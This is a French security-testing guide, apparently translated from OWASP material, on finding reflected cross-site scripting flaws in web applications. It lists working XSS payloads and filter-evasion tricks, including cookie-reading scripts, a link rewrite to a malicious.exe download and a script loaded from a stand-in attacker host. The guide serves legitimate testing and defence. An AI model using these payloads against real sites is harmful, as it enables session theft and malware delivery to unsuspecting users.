Reflected Cross-Site Scripting (XSS) est un autre nom pour les XSS non-persistants, où l'attaque ne se chargent pas avec l'application web vulnérable mais est originaire du chargement de l'URI affectée par la victime. Dans cet article, nous allons voir quelques façons tester une application web pour ce type de vulnérabilité.
Les attaques reflected XSS sont également sous le nom d'attaques XSS non-persistants et, parceque l'attaque de charge est conduite et exécutée via une seule requête et réponse, ils sont aussi appelés XSS de premier ordre ou de type 1. C'est le type le plus fréquent de nos jours, des attaques XSS trouvées.
Quand une application web est vulnérable à ce type d'attaque, elle accepte des entrées non validées envoyées à travers des requêtes au client. Le modus operandi commun de l'attaque comprend une étape de conception, dans laquelle l'attaquant crée et teste un URI affectée, une étape d'ingénierie sociale, dans laquelle il convainc ses victimes de charger cet URI sur leurs navigateurs, et l'exécution éventuelle du code incriminé - en utilisant les informations d'identification de la victime.
Communément le code de l'attaquant est écrit dans le langage Javascript, mais d'autres langages de scripts sont également utilisés, par exemple, ActionScript et VBScript.
Les pirates exploitent généralement ces vulnérabilités pour installer des enregistreurs de frappe, voler des cookies victime, effectuer le vol presse-papiers, et modifier le contenu de la page (par exemple, des liens de téléchargement).
L'une des questions importantes au sujet de l'exploitation des vulnérabilités XSS est le codage de caractères. Dans certains cas, le serveur Web ou l'application Web ne peuvent pas filtrer certains codages de caractères, par exemple, l'application Web peut filtrer « script> », mais pourrait ne pas filtrer %3escript%3c qui correspond simplement un autre encodage des étiquettes. Un bel outil pour tester les codages de caractères est CAL9000 d'OWASP.
Un test boîte noire comprendra au moins trois phases:
<script>alert(123)</script> “><script>alert(document.cookie)</script>
Exemple 1 Considérons par exemple un site qui a un accueil bienvenue “Bienvenue% username%” et un lien de téléchargement.'
Le testeur doit envisager que chaque point d'entrée des données peut entraîner une attaque XSS. Pour l'analyser, le testeur va jouer avec les variables utilisateur et essayer de déclencher la vulnérabilité. Essayons de cliquer sur le lien ci-dessous et voyons ce qui se passe:
http://example.com/index.php?user=<script>alert(123)</script>
Si aucune désinfection est appliquée, elle se traduira dans le menu contextuel suivant:
Cela indique qu'il y a une faille XSS et il semble que le testeur puisse exécuter le code de son choix dans le navigateur de n'importe qui si ce derbier clique sur le lien du testeur.
Exemple 2 Essayons un autre code (lien):
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
Cela donne le comportement suivant.:
Cela entraînera l'utilisateur, en cliquant sur le lien fourni par le testeur, à télécharger le fichier malicious.exe depuis un site que l'attaquant contrôle.
La plupart des applications web utilisent aujourd'hui une sorte de désinfection. Pourtant, certains restent vulnérables. Les s attaques reflected cross-site scripting sont empêchés du côté du serveur, par désinfection, ou du pare-feu d'application Web, ou du côté du client par des mécanismes de prévention qui sont incorporés dans les navigateurs web modernes.
Comme la plupart des clients ne mettent pas à jour leurs navigateurs ou, si même mis à jour, le filtre peut être désactivé, le testeur ne peut pas compter sur cela et il doit tester les vulnérabilités en supposant que les navigateurs Web ne saura pas empêcher l'attaque. Il est d'ailleurs important de noter que certains de ces filtres peuvent être contournées. Lors d'un test boîte grise ou boîte blanche, le testeur peut accéder au code source et analyser la procédure de désinfection côté serveur pour décider si et comment elle peut être contournée.
L'application Web peut mettre en œuvre de façon élémentaire des listes noires à base de filtres qui tentent d'éviter les attaques XSS. Ce type de filtres permettent généralement d'éliminer ou de coder les expressions qui pourraient être dangereuses (par exemple, la balise <script>) dans les paramètres des requêtes.
Exemple 3: Valeur de l'attribut Tag
Étant donné que ces filtres sont basés sur une liste noire, ils ne peuvent pas bloquer tous les types d'expressions. En fait, il y a des cas dans lesquels un exploit XSS peut être effectué sans l'utilisation de balises <script> et même sans l'utilisation de caractères tels que “<> et / qui sont généralement filtrés. Par exemple, l'application Web peut utiliser la valeur entrée par l'utilisateur pour remplir un attribut, comme indiqué dans le code suivant:
<input type="text" name="state" value="INPUT_FROM_USER">
Puis, un attaquant pourrait envoyer le code suivant:
" onfocus="alert(document.cookie)
Exemple 4: syntaxe ou encondiage différents
Dans certains cas, il est possible que les filtres basés sur les signatures peuvent être tout simplement défaits par un obscurcissement de l'attaque. En général, vous pouvez le faire via l'insertion de variations inattendues dans la syntaxe ou dans l'encodage. Ces variations sont tolérées par les navigateurs lorsque le code est retourné, et elles pourront également être acceptées par le filtre. Quelques exemples:
"><script >alert(document.cookie)</script > "><ScRiPt>alert(document.cookie)</ScRiPt> "%3cscript%3ealert(document.cookie)%3c/script%3e
Exemple 5: Contournement de filtrage non récursif
Parfois, la désinfection est appliquée une seule fois et elle n'est pas récursive. Dans ce cas, l'attaquant peut vaincre le filtre en envoyant une chaîne comme celle-ci:
<nowiki><scr<script>ipt>alert(document.cookie)</script></nowiki>
Exemple 6: Inclusion de scripts externes
Supposons maintenant que les développeurs du site mettent en œuvre le code suivant pour protéger l'entrée d'inclusion de script externe:
<?
$re = "/<script[^>]+src/i";
if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
Dans ce scénario, l'expression régulière vérifie si <script [n'importe quel caractère à l'exclusion de : '>' ] src est inséré. Ceci est utile pour filtrer des expressions comme
<nowiki><script src="http://attacker/xss.js"></script></nowiki>
qui est une attaque courante. Mais, dans ce cas, il est possible de contourner la désinfection du caractère > entre les attributs script et src, comme ceci:
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
Cela permettra d'exploiter la vulnérabilité reflected cross site scripting montrée précédemment, par l'exécution du code javascript stockés sur le serveur Web de l'attaquant comme si elle était en provenance du site web de la victime, http://example/.
Exemple 7: Pollution des paramètres HTTP (HPP)
Une autre méthode pour contourner les filtres est la pollution des paramètres HTTP, cette technique a d'abord été présentée par Stefano di Paola et Luca Carettoni en 2009 lors de la conférence OWASP Pologne. Voir Testing for HTTP Parameter pollution pour plus d'informations. Cette technique consiste à diviser un vecteur d'attaque en plusieurs paramètres qui ont le même nom. La manipulation de la valeur de chaque paramètre dépend de la façon dont chaque technologie web analyse ces paramètres, ce type d'attaque n'est pas toujours possible. Si les environnement testées concatène les valeurs de tous les paramètres avec le même nom, l'attaquant pourrait utiliser cette technique dans le but de contourner les mécanismes de sécurité basés sur des modèles.
Attaque normale:
http://example/page.php?param=<script>[...]</script>
Attaquer en utilisant PHP:
http://example/page.php?param=<script¶m=>[...]</¶m=script>
Résultat attendu
Voir la fiche XSS Filter Evasion Cheat Sheet pour une liste plus détaillée des techniques d'évasion filtre. Enfin, l'analyse des réponses peut devenir complexe. Une façon simple de le faire est d'utiliser le code qui apparaît dans une boîte de dialogue, comme dans notre exemple. Cela indique généralement qu'un attaquant pourrait exécuter du code JavaScript arbitraire de son choix dans les navigateurs des visiteurs.
Les tests Boîte grise sont similaires aux tests boîte noire. Dans les tests boîte grise, le testeur a une connaissance partielle de l'application. Dans ce cas, les informations concernant les entrées des utilisateurs, les contrôles de validation d'entrée, et comment l'entrée de l'utilisateur est rendue peut être connu par le testeur. Si le code source est disponible (White Box), toutes les variables provenant des utilisateurs doivent être analysées. De plus, le testeur doit analyser les procédures de désinfection mises en œuvre pour déterminer si elles peuvent être contournées.